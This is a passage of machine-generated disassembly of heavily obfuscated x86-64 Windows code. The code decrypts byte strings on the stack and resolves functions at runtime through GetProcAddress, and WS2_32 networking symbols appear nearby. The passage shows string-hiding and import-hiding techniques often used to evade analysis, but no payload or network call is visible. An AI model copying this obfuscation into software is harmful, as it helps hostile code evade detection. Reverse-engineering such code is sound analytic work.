ja 0x140063bbf
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x140063ba4
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x140063b84
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x140063b64
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x140063b56
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x140063b33
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x140063b0d
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x140063af2
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x1400638f0
mov rbx, rcx
lea r8, [rcx + 0x2a]
jmp 0x1400638f0
lea ecx, [r9 + 0x7e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x72
jmp 0x1400638e0
lea ecx, [r9 + 0xa]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x46
jmp 0x140063880
sub r9b, 0x6a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1a
jmp 0x140063810
lea ecx, [r9 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x70
jmp 0x14006415a
sub r9b, 0x64
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x44
inc r8
dec r11
inc r11
jmp 0x1400637f3
add r9b, 0x28
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x18
dec r11
inc r11
jmp 0x1400637f3
lea edx, [r9 - 0x4c]
mov ecx, 0xa
jmp 0x1400641b9
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400641ef
sub r9b, 0x34
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400641f2
lea ecx, [r9 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x68
jmp 0x1400640cf
sub r9b, 0x1c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3c
jmp 0x140064224
add r9b, 0x70
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x10
movzx eax, byte [rbp + r11 + 0x230]
add rax, r8
add r11, rax
inc r11
jmp 0x1400637f3
add r9b, 0x4e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x22
mov byte [rbp + r11 + 0x230], dil
inc r11
jmp 0x1400637f3
lea edx, [r9 - 0x26]
movzx eax, dl
and al, r10b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 0x41
jb 0x140063c23
lea ecx, [r9 + 0x1c]
movzx eax, cl
and al, r10b
mov edx, 0x1e
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x14006415a
lea edx, [r9 + 0x66]
movzx eax, dl
and al, r10b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp rbx, 1
jae 0x140064067
lea rcx, [r8 + 2]
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140063fc8
add r9b, 8
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x38
movzx eax, byte [rbp + r11 + 0x230]
add rax, r8
add r11, rax
inc r11
jmp 0x1400637f3
lea edx, [r9 - 0xe]
movzx eax, dl
and al, r10b
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
lea rax, [rbx + r8]
cmp rax, 0x1000
je 0x140064085
lea rax, [r8 + 5]
cmp rbx, rax
jbe 0x140063eeb
lea edx, [r9 - 0x2e]
movzx eax, dl
and al, r10b
mov ecx, 0x21
jmp 0x140063c82
sub r9b, 0x74
movzx eax, r9b
and al, r10b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14006427d
add r9b, 0x18
movzx eax, r9b
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140064221
lea ecx, [r9 - 0x5c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7c
jmp 0x1400640cf
add r9b, 0x30
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x50
jmp 0x1400641f2
sub r9b, 0x44
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x24
jmp 0x1400641ef
lea edx, [r9 + 0x48]
mov ecx, 4
jmp 0x1400641b9
sub r9b, 0x2c
movzx eax, r9b
and al, r10b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x1400637f3
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x1400637f3
lea ecx, [r9 - 0x14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x74
jmp 0x14006415a
lea rax, [r8 + 0xa]
cmp rbx, rax
jae 0x140063e46
lea edx, [r9 + 0x3a]
movzx eax, dl
and al, r10b
mov ecx, gethostname
jmp 0x140063ce6
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140063e6c
sub r9b, 0x7c
movzx eax, r9b
and al, r10b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14006427d
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140063e92
sub r9b, 8
movzx eax, r9b
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140064221
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140063eb8
add r9b, 0x54
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4c
jmp 0x1400641ef
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140063cf1
add r9b, 0x3c
movzx eax, r9b
and al, r10b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x1400637f3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140063f13
lea edx, [r9 + 0x46]
movzx eax, dl
and al, r10b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006415a
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140063f3f
add r9b, 0x2e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x42
dec r11
inc r11
jmp 0x1400637f3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140063f63
lea ecx, [r9 - 0x5e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6e
jmp 0x1400641ca
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140063f8c
add r9b, 0x16
movzx eax, r9b
and al, r10b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400641ef
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140063c8d
sub r9b, 0x1a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4a
movzx eax, byte [rbp + r11 + 0x230]
add rax, r8
add r11, rax
inc r11
jmp 0x1400637f3
cmp rbx, rcx
jne 0x140063fea
add r9b, 0x7c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x64
jmp 0x140064224
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140064013
add r9b, 0x64
movzx eax, r9b
and al, r10b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400641f2
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140064037
lea ecx, [r9 + 0x4c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x14
jmp 0x1400641ca
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140063c4d
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
dec r11
inc r11
jmp 0x1400637f3
lea edx, [r9 - 0x70]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 8
lea edi, [rcx + rcx]
add dil, dl
jmp 0x1400641ca
lea ecx, [r9 + 4]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x1c]
jmp 0x1400640cf
add r9b, 0x62
movzx eax, r9b
and al, r10b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140064221
lea edx, [r9 - 0x12]
movzx eax, dl
and al, r10b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add r9b, 0x3e
movzx eax, r10b
and al, r9b
mov ecx, 0x27
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x230], al
inc r8
add rax, r8
sub r11, rax
jmp 0x140064224
add r9b, 0x1e
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x1400637f3
lea ecx, [r9 + 0x36]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7a
jmp 0x14006415a
movzx r9d, r11b
lea ecx, [r9 + 0x4e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x22
add r9b, 0x56
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x5a
add r9b, r10b
mov byte [rbp + r11 + 0x230], r9b
inc r8
dec r11
inc r11
jmp 0x1400637f3
lea edx, [r11 + 0x66]
movzx eax, dl
and al, r10b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x1400637f3
movzx r9d, r11b
lea edx, [r9 - 0xe]
mov ecx, 0x31
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
sub r9b, 0x36
movzx eax, r10b
and al, r9b
mov ecx, 0x3d
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
add cl, dil
mov byte [rbp + r11 + 0x230], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400637f3
lea rcx, [r11 + r12]
movzx eax, cl
and al, dl
mov edx, 9
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r10b
lea ecx, [r11 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x48
add cl, r10b
mov byte [rbp + r11 + 0x230], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x230]
add rax, r8
add r11, rax
inc r11
jmp 0x1400637f3
lea rcx, [r11 + r15]
movzx eax, cl
and al, dl
mov edx, 0x1f
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r10b
movzx eax, byte [rbp + r11 + 0x230]
add rax, r8
add r11, rax
inc r11
jmp 0x1400637f3
add r9b, 0x22
movzx eax, r9b
and al, r10b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400637f0
sub r9b, 0x52
movzx eax, r9b
and al, r10b
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400637e0
lea rdx, [rbp + 0x166e128]
jmp 0x1400642f0
lea rdx, [rbp + 0x6eeb62]
jmp 0x1400642f0
lea rdx, [rbp + 0x230]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x40], rax
mov byte [rbp + 0x30], 0x8a
mov byte [rbp + 0x31], WSASetLastError
mov byte [rbp + 0x32], WSASetLastError
mov byte [rbp + 0x33], 0x9a
mov byte [rbp + 0x34], 0x75
mov byte [rbp + 0x35], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x36], WSAGetLastError
mov byte [rbp + 0x37], 0x7e
mov byte [rbp + 0x38], 0x77
mov byte [rbp + 0x39], 0x9d
mov byte [rbp + 0x3a], WSACleanup
mov byte [rbp + 0x3b], 0x7a
mov byte [rbp + 0x3c], 0x67
mov byte [rbp + 0x3d], 0x86
mov byte [rbp + 0x3e], 0xc8
xor eax, eax
mov word [rbp + 0x3f], ax
mov byte [rbp + 0x41], al
movzx edi, byte [rbp + 0x400]
movabs rsi, 0x7826b6696bd9ee1
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
nop dword [rax]
nop dword [rax + rax]
xor r12d, r12d
cmp r12, 0x12
jae 0x140064ebb
movzx r9d, byte [rbp + r12 + 0x30]
mov r13d, r9d
cmp rbx, r12
ja 0x140064eb2
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400643b2
lea rcx, [r12 + rsi]
mov rax, r13
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r13
add rdi, rcx
sub dil, 0x27
jmp 0x1400643df
je 0x140064e29
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140064ddd
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140064d79
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140064d49
movzx r14d, r12b
nop dword [rax]
nop word [rax + rax]
movzx r15d, r14b
movzx esi, r14b
movzx r11d, r14b
cmp r8, r12
ja 0x140064ea9
lea rdx, [r8 + 1]
lea rax, [r8 + 0x20]
cmp rbx, rax
jae 0x140064432
lea ecx, [r14 + 0x75]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x33
lea r10, [r8 + 2]
lea rcx, [r8 + 3]
jmp 0x140064462
cmp rbx, rdx
je 0x140064cfa
lea r10, [r8 + 2]
cmp rbx, r10
je 0x140064ccd
lea rcx, [r8 + 3]
cmp rbx, rcx
je 0x140064cad
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140064c90
lea rax, [r8 + rbx]
cmp rax, r12
jbe 0x1400649c9
nop
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x1400649aa
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14006497a
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14006494d
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x140064931
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140064911
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400648f4
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x1400648d5
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x1400648b5
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140064898
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140064470
lea rbx, [r8 + 2]
lea r8, [rbx + 0x10]
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x140064e8c
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x140064e65
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140064632
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x140064617
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140064847
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x1400647fa
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x1400647b9
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14006478a
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x140064470
lea rbx, [r8 + 4]
lea r8, [rbx + 0x28]
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x14006476d
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14006474d
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14006472e
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x140064711
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x1400646f4
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x1400646d8
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x1400646a8
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x140064678
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x140064659
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x140064470
lea rbx, [r8 + 0x7a]
lea r8, [rbx + 0x42]
jmp 0x140064470
lea ecx, [r14 + 0x69]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x21
jmp 0x1400643f0
sub r14b, 0x59
movzx eax, r14b
and al, r9b
add al, al
sub r14b, al
lea edi, [r9 + r14]
add dil, 0x6f
movabs rsi, 0x7826b6696bd9ee1
jmp 0x140064386
lea edx, [r15 - 0x58]
movzx eax, r9b
and al, dl
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140064d15
sub r15b, 0x1a
movzx eax, r9b
and al, r15b
add al, al
sub r9b, al
lea edi, [r15 + r9]
sub dil, 0x4a
inc r8
dec r12
inc r12
movabs rsi, 0x7826b6696bd9ee1
jmp 0x140064373
add r15b, 0x24
movzx eax, r9b
and al, r15b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r15b
dec r12
inc r12
movabs rsi, 0x7826b6696bd9ee1
jmp 0x140064373
lea edx, [r15 + 0x62]
movzx eax, r9b
and al, dl
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140064d94
sub r15b, 0x60
movzx eax, r9b
and al, r15b
add al, al
sub r9b, al
lea edi, [r15 + r9]
sub dil, 0x60
jmp 0x140064db7
sub r15b, 0x22
movzx eax, r9b
and al, r15b
add al, al
sub r9b, al
lea edi, [r15 + r9]
sub dil, 0x12
jmp 0x140064dba
lea edx, [r15 + 0x1c]
movzx eax, r9b
and al, dl
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140064c61
add r15b, 0x5a
movzx eax, r9b
and al, r15b
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x76
add dil, r15b
jmp 0x140064dfb
sub r15b, 0x68
movzx eax, r9b
and al, r15b
add al, al
sub r9b, al
lea edi, [r15 + r9]
sub dil, 0x28
jmp 0x140064e47
add r15b, 0x33
movzx eax, r9b
and al, r15b
add al, al
sub r9b, al
lea edi, [r15 + r9]
sub dil, 0x65
mov byte [rbp + r12 + 0x30], dil
inc r12
movabs rsi, 0x7826b6696bd9ee1
jmp 0x140064373
lea edx, [r15 + 0x71]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x17
add dil, dl
cmp r8, 2
jb 0x1400647a2
lea edx, [r15 - 0x5a]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x14]
jmp 0x140064d15
lea edx, [r15 - 0x51]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x37
add dil, dl
cmp rbx, 0xa
jae 0x140064c35
lea rax, [r8 + 0x200]
cmp rbx, rax
jbe 0x140064b6a
lea edx, [r15 + 0x12]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x7e
jmp 0x1400647d0
lea edx, [r15 - 0x13]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x7b
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 8
je 0x140064c50
lea rax, [r8 + 0x64]
cmp rbx, rax
jbe 0x140064ab9
lea edx, [r15 - 0x63]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x4b
jmp 0x140064811
sub r15b, 0x42
movzx eax, r9b
and al, r15b
add al, al
sub r9b, al
lea edi, [r15 + r9]
sub dil, 0x32
jmp 0x140064e47
sub r15b, 4
movzx eax, r9b
and al, r15b
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r15b
jmp 0x140064dfb
lea edx, [r15 + 0x3a]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140064c61
add r15b, 0x78
movzx eax, r9b
and al, r15b
add al, al
sub r9b, al
lea edi, [r15 + r9]
sub dil, 0x48
jmp 0x140064dba
sub r15b, 0x4a
movzx eax, r9b
and al, r15b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r15b
jmp 0x140064db7
lea edx, [r15 - 0xc]
movzx eax, r9b
and al, dl
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140064d94
add r15b, 0x32
movzx eax, r9b
and al, r15b
add al, al
sub r9b, al
lea edi, [r15 + r9]
sub dil, 0x5e
dec r12
inc r12
movabs rsi, 0x7826b6696bd9ee1
jmp 0x140064373
add r15b, 0x70
movzx eax, r9b
and al, r15b
add al, al
sub r9b, al
lea edi, [r15 + r9]
sub dil, 0x10
inc r8
dec r12
inc r12
movabs rsi, 0x7826b6696bd9ee1
jmp 0x140064373
lea edx, [r15 - 0x52]
movzx eax, r9b
and al, dl
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140064d15
lea rax, [r8 + 5]
cmp rbx, rax
jae 0x1400649f2
sub r14b, 0x1f
movzx eax, r9b
and al, r14b
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x27
add dil, r14b
jmp 0x140064861
cmp rbx, rdx
jne 0x140064a14
sub r11b, 0x16
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
sub dil, 0x66
jmp 0x140064e47
cmp rbx, r10
jne 0x140064a39
add sil, 0x6e
movzx eax, r9b
and al, sil
add al, al
movzx edi, r9b
sub dil, al
sub dil, 2
add dil, sil
jmp 0x140064c61
cmp rbx, rcx
jne 0x140064a5e
sub r15b, 0xe
movzx eax, r9b
and al, r15b
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r15b
jmp 0x140064db7
cmp rbx, rax
jne 0x140064a7f
lea edx, [r15 - 0x4c]
movzx eax, r9b
and al, dl
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140064d94
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140064861
add r15b, 0x76
movzx eax, r9b
and al, r15b
add al, al
sub r9b, al
lea edi, [r15 + r9]
sub dil, 0x3a
dec r12
inc r12
movabs rsi, 0x7826b6696bd9ee1
jmp 0x140064373
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140064ae1
lea edx, [r15 + 0x5f]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x67
add dil, dl
jmp 0x140064d15
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140064b17
sub r15b, 0x1d
movzx eax, r9b
and al, r15b
add al, al
sub r9b, al
lea edi, [r15 + r9]
sub dil, 0x35
dec r12
inc r12
movabs rsi, 0x7826b6696bd9ee1
jmp 0x140064373
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140064b3d
add r15b, 0x67
movzx eax, r9b
and al, r15b
add al, al
sub r9b, al
lea edi, [r15 + r9]
add dil, 0x2f
jmp 0x140064db7
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140064814
sub r15b, 0x53
movzx eax, r9b
and al, r15b
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x45
add dil, r15b
jmp 0x140064dfb
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140064b93
sub r15b, 0x2c
movzx eax, r9b
and al, r15b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r15b
jmp 0x140064e47
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140064bbb
lea edx, [r15 + 0x58]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x68
add dil, dl
jmp 0x140064c61
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140064be4
add r15b, 0x1a
movzx eax, r9b
and al, r15b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r15b
jmp 0x140064dba
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140064c09
lea edx, [r15 - 0x62]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x52
jmp 0x140064d94
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400647d3
lea edx, [r15 - 0x1c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x3c
add dil, dl
jmp 0x140064d15
lea edx, [r15 + 0x68]
movzx eax, r9b
and al, dl
movzx ecx, r9b
sub cl, al
add cl, 0x14
lea edi, [rcx + rcx]
jmp 0x140064d94
lea ecx, [r15 + 0x2a]
movzx eax, r9b
and al, cl
add al, al
sub cl, al
lea edi, [rcx - 0x26]
add r15b, 0xb
movzx eax, r9b
and al, r15b
add al, al
movzx ecx, r9b
sub cl, al
sub cl, 0x4d
add cl, r15b
movzx eax, cl
mov byte [rbp + r12 + 0x30], al
inc r8
add rax, r8
sub r12, rax
jmp 0x140064dfb
add r14b, 0x3f
movzx eax, r9b
and al, r14b
add al, al
sub r9b, al
lea edi, [r14 + r9]
add dil, 0x47
jmp 0x140064db7
add r14b, 0x7d
movzx eax, r9b
and al, r14b
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x6b
add dil, r14b
jmp 0x140064d97
sub r14b, 0x45
movzx eax, r9b
and al, r14b
add al, al
sub r9b, al
lea edi, [r14 + r9]
sub dil, 0x1d
dec r12
inc r12
movabs rsi, 0x7826b6696bd9ee1
jmp 0x140064373
add r14b, 0x37
movzx eax, r9b
and al, r14b
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x7f
add dil, r14b
sub r15b, 0x79
movzx eax, r9b
and al, r15b
add al, al
sub r9b, al
add r9b, 0x4f
add r9b, r15b
mov byte [rbp + r12 + 0x30], r9b
inc r8
dec r12
inc r12
movabs rsi, 0x7826b6696bd9ee1
jmp 0x140064373
lea ecx, [r12 - 0xf]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x69
inc r8
dec r12
inc r12
movabs rsi, 0x7826b6696bd9ee1
jmp 0x140064373
movzx r15d, r12b
lea edx, [r15 + 0x6d]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 5
add dil, dl
add r15b, 0x49
movzx eax, r9b
and al, r15b
add al, al
movzx ecx, dil
sub cl, al
inc cl
add cl, r9b
add cl, r15b
mov byte [rbp + r12 + 0x30], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r12, rcx
inc r12
movabs rsi, 0x7826b6696bd9ee1
jmp 0x140064373
movabs rax, 0x258c1900f1b41a65
add rax, r12
and r13b, al
add r13b, r13b
sub al, r13b
lea edi, [r9 + rax]
add dil, 0x3d
lea ecx, [r12 - 0x14]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x74
add r9b, cl
mov byte [rbp + r12 + 0x30], r9b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r12, rax
jmp 0x140064e47
movabs rax, 0x16874233c438dca3
add rax, r12
and r13b, al
add r13b, r13b
sub al, r13b
lea edi, [r9 + rax]
sub dil, 0x75
movzx eax, byte [rbp + r12 + 0x30]
add rax, r8
add r12, rax
inc r12
movabs rsi, 0x7826b6696bd9ee1
jmp 0x140064373
sub r15b, 0x1b
movzx eax, r9b
and al, r15b
add al, al
sub r9b, al
lea edi, [r15 + r9]
sub dil, 0x43
movabs rsi, 0x7826b6696bd9ee1
jmp 0x140064370
add r15b, 0x23
movzx eax, r9b
and al, r15b
add al, al
sub r9b, al
lea edi, [r15 + r9]
add dil, 0xb
jmp 0x14006434a
lea rdx, [rbp + 0x166bf5c]
jmp 0x140064ebf
lea rdx, [rbp + 0x1645e3d]
jmp 0x140064ebf
lea rdx, [rbp + 0x30]
mov r15, qword [rbp + 0x408]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x48], rax
mov byte [rbp + 0x50], 0x83
mov byte [rbp + 0x51], 0xd3
mov byte [rbp + 0x52], 0xef
mov byte [rbp + 0x53], 0xec
mov byte [rbp + 0x54], 0xde
mov byte [rbp + 0x55], 0xe2
mov byte [rbp + 0x56], 0xf1
mov byte [rbp + 0x57], 0xe0
mov byte [rbp + 0x58], 0xdc
mov byte [rbp + 0x59], 0xe9
mov byte [rbp + 0x5a], 0xdd
